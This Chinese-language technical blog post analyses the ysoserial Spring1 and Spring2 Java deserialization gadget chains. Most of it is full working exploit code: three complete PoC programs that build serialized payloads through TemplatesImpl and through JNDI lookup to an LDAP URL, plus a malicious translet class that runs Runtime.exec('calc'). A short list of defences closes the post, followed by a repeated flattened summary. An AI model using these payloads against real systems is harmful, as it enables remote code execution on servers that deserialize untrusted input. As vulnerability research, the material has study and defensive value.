java反序列化之yso中的spring链子分析及利用
字数 1442 2025-09-01 11:26:03

Spring框架反序列化漏洞分析与利用

前言

本文详细分析Spring框架中的两条反序列化漏洞链(Spring1和Spring2),涵盖漏洞原理、利用条件、调用链分析以及实际利用方法。这两条链都利用了Java动态代理机制和Spring框架特性实现任意代码执行。

环境准备

Spring1依赖

<dependencies>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-core</artifactId>
        <version>4.1.4.RELEASE</version>
    </dependency>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-beans</artifactId>
        <version>4.1.4.RELEASE</version>
    </dependency>
</dependencies>

Spring2依赖

<dependencies>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-core</artifactId>
        <version>4.1.4.RELEASE</version>
    </dependency>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-beans</artifactId>
        <version>4.1.4.RELEASE</version>
    </dependency>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-aop</artifactId>
        <version>4.1.4.RELEASE</version>
    </dependency>
</dependencies>

Spring1链分析

调用链

ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.findMethod()
SerializableTypeWrapper.TypeProvider(Proxy).getType()
AnnotationInvocationHandler.invoke()
HashMap.get()
ReflectionUtils.invokeMethod()
Method.invoke()
Templates(Proxy).newTransformer()
AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke()
ObjectFactory(Proxy).getObject()
AnnotationInvocationHandler.invoke()
HashMap.get()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()

关键点分析

  1. 入口点SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()

    • 通过反射完成方法调用
    • 目标是调用TemplatesImpl.newTransformer()实现任意类加载
  2. 动态代理利用

    • 使用AnnotationInvocationHandler作为InvocationHandler
    • 通过控制memberValues属性返回特定对象
    • 需要三层动态代理结构
  3. 类型转换问题

    • getType()方法要求返回Type类型
    • 需要返回同时实现TypeTemplates接口的动态代理对象
  4. 关键InvocationHandler

    • AutowireUtils.ObjectFactoryDelegatingInvocationHandler
    • invoke方法中method.invoke(this.objectFactory.getObject(), args)是关键

利用POC

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.beans.factory.ObjectFactory;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_name", "aaa");
        byte[] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
        byte[][] codes = {code};
        setField(templates,"_bytecodes", codes);
        setField(templates,"_tfactory", new TransformerFactoryImpl());
        
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("getObject", templates);
        
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, hashMap);
        
        ObjectFactory<?> objectFactory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), 
            new Class[]{ObjectFactory.class}, invocationHandler);
        
        Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> constructor2 = clazz.getDeclaredConstructors()[0];
        constructor2.setAccessible(true);
        InvocationHandler invocationHandler2 = (InvocationHandler) constructor2.newInstance(objectFactory);
        
        Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), 
            new Class[]{Type.class, Templates.class}, invocationHandler2);
        
        HashMap<Object, Object> hashMap2 = new HashMap<>();
        hashMap2.put("getType", type);
        InvocationHandler invocationHandler3 = (InvocationHandler) constructor.newInstance(Target.class, hashMap2);
        
        Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), 
            new Class[]{typeProviderClass}, invocationHandler3);
        
        Class<?> class2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
        Constructor<?> constructor3 = class2.getDeclaredConstructors()[0];
        constructor3.setAccessible(true);
        Object object = constructor3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        setField(object, "methodName", "newTransformer");
        
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        byte[] serializedBytes = byteArrayOutputStream.toByteArray();
        String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes);
        System.out.println(base64Encoded);
        
        byte[] decodedBytes = Base64.getDecoder().decode(base64Encoded);
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(decodedBytes));
        objectInputStream.readObject();
    }
    
    public static void setField(Object object,String fieldName,Object value) throws Exception{
        Class<?> c = object.getClass();
        Field field = c.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,value);
    }
}

恶意类示例

package org.example;

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet {
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

Spring2链分析

调用链

TemplatesImpl.newTransformer()
Method.invoke(Object, Object...)
AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
JdkDynamicAopProxy.invoke(Object, Method, Object[])
$Proxy0.newTransformer()
Method.invoke(Object, Object...)
SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream)

关键点分析

  1. 与Spring1的区别

    • 使用JdkDynamicAopProxy代替ObjectFactoryDelegatingInvocationHandler
    • 证明ObjectFactoryDelegatingInvocationHandler不是唯一选择
  2. 关键类

    • JdkDynamicAopProxy:Spring AOP的动态代理实现
    • AdvisedSupport:Spring AOP的代理配置管理器
  3. 关键调用

    • AopUtils.invokeJoinpointUsingReflection(target, method, args)
    • target来自targetSource.getTarget()
  4. 配置方式

    • 通过AdvisedSupport.setTargetSource()设置目标对象
    • 使用SingletonTargetSource包装目标对象

利用POC

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.SingletonTargetSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Poc {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_name", "aaa");
        byte[] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
        byte[][] codes = {code};
        setField(templates,"_bytecodes", codes);
        setField(templates,"_tfactory", new TransformerFactoryImpl());
        
        // 配置AdvisedSupport
        AdvisedSupport as = new AdvisedSupport();
        as.setTargetSource(new SingletonTargetSource(templates));
        
        // 创建JdkDynamicAopProxy代理
        Class<?> c =Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(as);
        
        Type typeTemplatesProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
            new Class[]{Type.class, Templates.class}, invocationHandler);
        
        Map<String, Object> hashMap = new HashMap<>();
        hashMap.put("getType", typeTemplatesProxy);
        
        Class<?> class2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor2 = class2.getDeclaredConstructor(Class.class, Map.class);
        constructor2.setAccessible(true);
        InvocationHandler invocationHandler2 = (InvocationHandler) constructor2.newInstance(Target.class, hashMap);
        
        Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), 
            new Class[]{typeProviderClass}, invocationHandler2);
        
        Class<?> class3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
        Constructor<?> constructor3 = class3.getDeclaredConstructors()[0];
        constructor3.setAccessible(true);
        Object object = constructor3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        setField(object, "methodName", "newTransformer");
        
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        byte[] serializedBytes = byteArrayOutputStream.toByteArray();
        String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes);
        System.out.println(base64Encoded);
        
        byte[] decodedBytes = Base64.getDecoder().decode(base64Encoded);
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(decodedBytes));
        objectInputStream.readObject();
    }
    
    public static void setField(Object object,String fieldName,Object value) throws Exception {
        Class<?> c = object.getClass();
        Field field = c.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
}

攻击面拓展

替代TemplatesImpl的方案

TemplatesImpl类被禁用时,可以考虑使用JNDI注入实现远程类加载。使用com.sun.jndi.ldap.LdapAttribute类的getAttributeDefinition()方法,该方法会调用lookup()

利用POC

package org.example;

import org.springframework.beans.factory.ObjectFactory;
import sun.reflect.ReflectionFactory;

import javax.naming.CompositeName;
import javax.naming.directory.Attribute;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        Class c1 = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Class c2 = Class.forName("javax.naming.directory.BasicAttribute");
        Object ldap = createObjWithConstructor(c1,c2,new Class[]{String.class},new Object[]{"6924bf"});
        setField(ldap,"rdn",new CompositeName("a//b"));
        setField(ldap,"baseCtxURL","ldap://127.0.0.1:50389/");
        
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("getObject", ldap);
        
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, hashMap);
        
        ObjectFactory<?> objectFactory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), 
            new Class[]{ObjectFactory.class}, invocationHandler);
        
        Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> constructor2 = clazz.getDeclaredConstructors()[0];
        constructor2.setAccessible(true);
        InvocationHandler invocationHandler2 = (InvocationHandler) constructor2.newInstance(objectFactory);
        
        Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), 
            new Class[]{Type.class, Attribute.class}, invocationHandler2);
        
        HashMap<Object, Object> hashMap2 = new HashMap<>();
        hashMap2.put("getType", type);
        InvocationHandler invocationHandler3 = (InvocationHandler) constructor.newInstance(Target.class, hashMap2);
        
        Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), 
            new Class[]{typeProviderClass}, invocationHandler3);
        
        Class<?> class2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
        Constructor<?> constructor3 = class2.getDeclaredConstructors()[0];
        constructor3.setAccessible(true);
        Object object = constructor3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        setField(object, "methodName", "getAttributeDefinition");
        
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        byte[] serializedBytes = byteArrayOutputStream.toByteArray();
        String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes);
        System.out.println(base64Encoded);
        
        byte[] decodedBytes = Base64.getDecoder().decode(base64Encoded);
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(decodedBytes));
        objectInputStream.readObject();
    }
    
    public static void setField(Object object,String fieldName,Object value) throws Exception{
        Class<?> c = object.getClass();
        Field field = c.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object,value);
    }
    
    public static <T> T createObjWithConstructor (Class<T> clazz,Class<? super T> superClazz,Class<?>[] argsTypes,Object[] argsValues) throws Exception{
        Constructor<?super T> constructor = superClazz.getDeclaredConstructor(argsTypes);
        constructor.setAccessible(true);
        Constructor<?> constructor1 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(clazz,constructor);
        constructor1.setAccessible(true);
        return (T) constructor1.newInstance(argsValues);
    }
}

总结

  1. 动态代理是关键:两条链都大量使用了Java动态代理机制,需要熟练掌握动态代理原理
  2. 多层代理结构:Spring1使用了三层动态代理结构,理解每层代理的作用至关重要
  3. 替代方案:当主要利用类被禁用时,可以考虑其他攻击面如JNDI注入
  4. 防御建议
    • 升级Spring框架到安全版本
    • 限制反序列化操作
    • 使用安全防护产品检测恶意序列化数据

理解这些漏洞需要对Java反序列化、动态代理和Spring框架内部机制有深入理解,建议先掌握这些基础知识再深入研究漏洞利用技术。

Spring框架反序列化漏洞分析与利用 前言 本文详细分析Spring框架中的两条反序列化漏洞链(Spring1和Spring2),涵盖漏洞原理、利用条件、调用链分析以及实际利用方法。这两条链都利用了Java动态代理机制和Spring框架特性实现任意代码执行。 环境准备 Spring1依赖 Spring2依赖 Spring1链分析 调用链 关键点分析 入口点 : SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() 通过反射完成方法调用 目标是调用 TemplatesImpl.newTransformer() 实现任意类加载 动态代理利用 : 使用 AnnotationInvocationHandler 作为InvocationHandler 通过控制 memberValues 属性返回特定对象 需要三层动态代理结构 类型转换问题 : getType() 方法要求返回 Type 类型 需要返回同时实现 Type 和 Templates 接口的动态代理对象 关键InvocationHandler : AutowireUtils.ObjectFactoryDelegatingInvocationHandler 其 invoke 方法中 method.invoke(this.objectFactory.getObject(), args) 是关键 利用POC 恶意类示例 Spring2链分析 调用链 关键点分析 与Spring1的区别 : 使用 JdkDynamicAopProxy 代替 ObjectFactoryDelegatingInvocationHandler 证明 ObjectFactoryDelegatingInvocationHandler 不是唯一选择 关键类 : JdkDynamicAopProxy :Spring AOP的动态代理实现 AdvisedSupport :Spring AOP的代理配置管理器 关键调用 : AopUtils.invokeJoinpointUsingReflection(target, method, args) target 来自 targetSource.getTarget() 配置方式 : 通过 AdvisedSupport.setTargetSource() 设置目标对象 使用 SingletonTargetSource 包装目标对象 利用POC 攻击面拓展 替代TemplatesImpl的方案 当 TemplatesImpl 类被禁用时,可以考虑使用JNDI注入实现远程类加载。使用 com.sun.jndi.ldap.LdapAttribute 类的 getAttributeDefinition() 方法,该方法会调用 lookup() 。 利用POC 总结 动态代理是关键 :两条链都大量使用了Java动态代理机制,需要熟练掌握动态代理原理 多层代理结构 :Spring1使用了三层动态代理结构,理解每层代理的作用至关重要 替代方案 :当主要利用类被禁用时,可以考虑其他攻击面如JNDI注入 防御建议 : 升级Spring框架到安全版本 限制反序列化操作 使用安全防护产品检测恶意序列化数据 理解这些漏洞需要对Java反序列化、动态代理和Spring框架内部机制有深入理解,建议先掌握这些基础知识再深入研究漏洞利用技术。